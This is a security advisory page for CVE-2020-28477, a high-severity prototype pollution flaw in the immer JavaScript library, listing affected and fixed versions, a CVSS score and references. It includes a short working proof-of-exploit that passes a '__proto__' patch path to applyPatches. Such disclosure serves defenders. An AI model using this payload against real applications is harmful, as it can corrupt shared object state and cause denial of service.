---
title: "GHSA-9qmh-276g-x5pj: Prototype Pollution in immer"
description: "High severity. Prototype Pollution in immer. Affects immer; fixed in 8.0.1."
url: https://inlinr.com/advisories/GHSA-9qmh-276g-x5pj
lang: en
---

[Packages](https://inlinr.com/packages) / [immer](https://inlinr.com/packages/immer) / [Security](https://inlinr.com/packages/immer/security)

High Vulnerability GHSA-9qmh-276g-x5pj CVE-2020-28477 Published 20 Jan 2021

# Prototype Pollution in immer

Your version 

Affected releases · [immer](https://inlinr.com/packages/immer)

- 8.x 8.0.0 Fixed in 8.0.1
- 7.x 7.0.0 – 7.0.15 No fix on this line yet

On 8.x, the newest line:

```
npm install immer@8.0.1
```

Every release on a timeline

11.x 

1. Not affected

11.0.0 – 11.2.9  
35 releases, latest

8.x 

1. Affected

8.0.0  
1 release
2. Fixed

8.0.1 – 8.0.4  
4 releases

7.x 

1. Affected

7.0.0 – 7.0.15  
16 releases

193 stable releases of immer, oldest to newest, one row per major.

## What happens

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

```
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
```

Remediation

Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5 "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5") for this vulnerability, updating is recommended.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: none
- **Availability**: high

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:N/​A:H

## References

- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-28477 "https://nvd.nist.gov/vuln/detail/CVE-2020-28477")  
nvd.nist.gov/vuln/detail/CVE-2020-28477
- [Issue](https://github.com/immerjs/immer/issues/738 "https://github.com/immerjs/immer/issues/738")  
#738
- [Fix commit](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5 "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5")  
da2bd4f
- [Reference](https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213 "https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213")  
github.com/immerjs/immer/blob/master/src/plugin…
- [Reference](https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986 "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986")  
snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986
- [Reference](https://snyk.io/vuln/SNYK-JS-IMMER-1019369 "https://snyk.io/vuln/SNYK-JS-IMMER-1019369")  
snyk.io/vuln/SNYK-JS-IMMER-1019369
- [Reference](https://www.npmjs.com/package/immer "https://www.npmjs.com/package/immer")  
npmjs.com/package/immer